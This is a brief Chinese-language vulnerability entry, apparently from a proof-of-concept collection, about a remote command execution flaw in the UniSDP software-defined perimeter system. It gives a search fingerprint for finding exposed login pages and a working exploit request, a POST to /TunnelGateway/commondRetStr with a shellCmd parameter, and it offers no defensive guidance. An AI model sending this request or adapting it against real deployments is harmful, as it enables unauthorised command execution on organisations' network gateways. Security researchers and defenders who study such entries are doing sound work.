# 联软安界 UniSDP 软件定义边界系统 commondRetSt 命令执行漏洞

# 漏洞描述

联软安界UniSDP软件定义边界系统是基于零信任的下一代VPN，该系统2021.04.28版本中TunnelGateway某接口存在安全漏洞，漏洞允许攻击者将特制请求发送到服务器并远程命令执行。

联软安界 UniSDP 软件定义边界系统

title="UniSSOView"

登录页面

验证POC

POST /TunnelGateway/commondRetStr
  
shellCmd=id

1
2
3